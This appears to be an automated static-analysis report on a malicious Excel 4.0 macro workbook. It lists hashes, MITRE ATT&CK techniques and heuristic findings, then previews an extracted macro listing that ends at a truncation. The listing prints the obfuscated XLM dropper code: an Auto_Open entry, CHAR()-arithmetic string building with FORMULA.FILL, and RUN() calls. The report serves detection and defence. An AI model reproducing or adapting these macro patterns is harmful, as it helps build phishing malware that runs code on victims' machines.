Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb4b83819e628aeb…

MALICIOUS

Office (OLE)

172.0 KB Created: 2020-05-12 07:26:30 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: ef281d0f537673e3338d3d21b1ef2269 SHA-1: e92725f1c5c7263acc7d5f0886ceeedaa2fe4bb7 SHA-256: eb4b83819e628aeb921b7ac5af6995d5beb8bc68c600f8bca4726d5714d73d8a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a known technique for executing arbitrary commands. The `RUN` and `risky-formula` values suggest the macro is designed to execute external code. This is commonly used to download and execute a second-stage payload, making it a likely component of a phishing attack.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 125387 bytes
SHA-256: b980e821a2a267bc9f6c44c628b4bee7e63aa0f3199bb43f2575bec65215fdd8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!V2004 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,FS7,"",0.21487603305785124563
'  Sheet,D59,"",-2.18901098901098878358
'  Sheet,DW74,"",400.60031249999997271516
'  Sheet,DD85,"",-115.70007812500000454747
'  Sheet,JK196,"",17.50000000000000000000
'  Sheet,IJ249,"",-9.34117647058823585837
'  Sheet,FE264,"",-34.79999999999999715783
'  Sheet,CY365,"",-142.10007812500001023182
'  Sheet,DQ485,"",1.88679245283018870438
'  Sheet,HR556,"",-0.13363636363636363646
'  Sheet,JA577,"SET.VALUE(DB28357,GET.CELL(24,HW55793)-171)",""
'  Sheet,JA578,GOTO(IT43155),""
'  Sheet,DY644,"",-1.34927536231884048767
'  Sheet,EP654,"",0.53000030517578122780
'  Sheet,FD679,"",0.95833333333333337034
'  Sheet,T768,"",-425.12500000000000000000
'  Sheet,EP788,"",-44.80003906249999801048
'  Sheet,DY808,"",0.43442622950819670402
'  Sheet,JI936,"",2.47826086956521729476
'  Sheet,GA957,"",231.20015624999999204192
'  Sheet,EV971,"FORMULA.FILL(CHAR(IT56772-M6376)&CHAR(H51424*JJ44645)&CHAR(C430-IE65096)&CHAR(C430+HH26932)&CHAR(IM15047*GE44478)&CHAR(JQ5952*BD56859)&CHAR(IT56772-FG2054)&CHAR(BO41251+CY37308)&CHAR(GY47999+BV27707)&CHAR(IT56772+HC48413)&CHAR(GY47999*IU54790)&CHAR(H51424*HC47453)&CHAR(CT15537*EL27826)&CHAR(HC7870-HV33521)&CHAR(JQ5952+CP47968)&CHAR(IT56772/IX63149)&CHAR(CT15537*EX12676)&CHAR(H51424*FB8745)&CHAR(JQ5952/FE42166)&CHAR(BO41251*CN17164)&CHAR(BO41251/CM49465)&CHAR(JQ5952/FQ27154)&CHAR(GY47999/JJ32861)&CHAR(CT15537+EI14641)&CHAR(HC7870/FC49997)&CHAR(BO41251+IF42962)&CHAR(H51424/EN27975)&CHAR(C430/FJ33965)&CHAR(C430-GX55364)&CHAR(GZ63655/U56739),GC28295)",""
'  Sheet,EV972,RUN(D22060),""
'  Sheet,IM1000,"",-2.32749999999999968026
'  Sheet,HW1084,"",84.00000000000000000000
'  Sheet,HD1097,"",22.79999999999999715783
'  Sheet,DU1139,"",-89.20007812500000454747
'  Sheet,FB1161,"",231.20015624999999204192
'  Sheet,IG1173,"",351.60031249999997271516
'  Sheet,FJ1183,"",-4.61764705882352899380
'  Sheet,FA1189,"",408.00000000000000000000
'  Sheet,Q1193,"",408.60031249999997271516
'  Sheet,HP1225,"",76.20003906249999658939
'  Sheet,GK1400,"",-2.27073170731707296710
'  Sheet,IY1426,"",43.50000000000000000000
'  Sheet,HV1474,"",1.35542168674698793041
'  Sheet,GU1488,"",0.40769230769230768718
'  Sheet,CM1620,"",64.50000000000000000000
'  Sheet,HN1635,"",-1.21546961325966851319
'  Sheet,EF1652,"",0.43442622950819670402
'  Sheet,GK1659,"",184.10015624999999772626
'  Sheet,EL1689,"",-2.27073170731707296710
'  Sheet,EN1737,"",3.50000000000000000000
'  Sheet,FH1783,"",62.80003906249999801048
'  Sheet,EU1788,"",-0.22590361445783133099
'  Sheet,FH1829,"",-272.00000000000000000000
'  Sheet,IB1856,"",-81.20003906249999658939
'  Sheet,Q1861,RUN(DV22613),""
'  Sheet,BG1925,"",20.80001953125000113687
'  Sheet,FO1960,"",0.18892508143322475633
'  Sheet,V2004,"SET.VALUE(H51424,26/8*GET.CELL(19,EW40615))",""
'  Sheet,V2005,GOTO(HM32648),""
'  Sheet,ER2005,"",-180.00000000000000000000
'  Sheet,CS2007,"",-256.00000000000000000000
'  Sheet,FG2054,"",-78.50000000000000000000
'  Sheet,BM2087,"",-186.00000000000000000000
'  Sheet,CA2120,GOTO(JH9925),""
'  Sheet,CT2166,"",-1.12168674698795167721
'  Sheet,EW2196,"",-3.78947368421052610543
'  Sheet,DT2257,"",-438.60031249999997271516
'  Sheet,BQ2293,"",64.50000000000000000000
'  Sheet,BH2349,"",-53.50000000000000000000
'  Sheet,BW2351,"",0.73913043478260864738
'  Sheet,CL2357,"",-6.73469387755102033566
'  Sheet,DD2369,"",358.00000000000000000000
'  Sheet,JI2369,"",-616.60031249999997271516
'  Sheet,EM2411,"",1.00970873786407766559
'  Sheet,HL2430,"",-97.50000000000000000000
'  Sheet,HR2438,"",-212.00000000000000000000
'  Sheet,CS2494,"",-0.32011232011232010342
'  Sheet,T2513,"",41.00000000
... (truncated)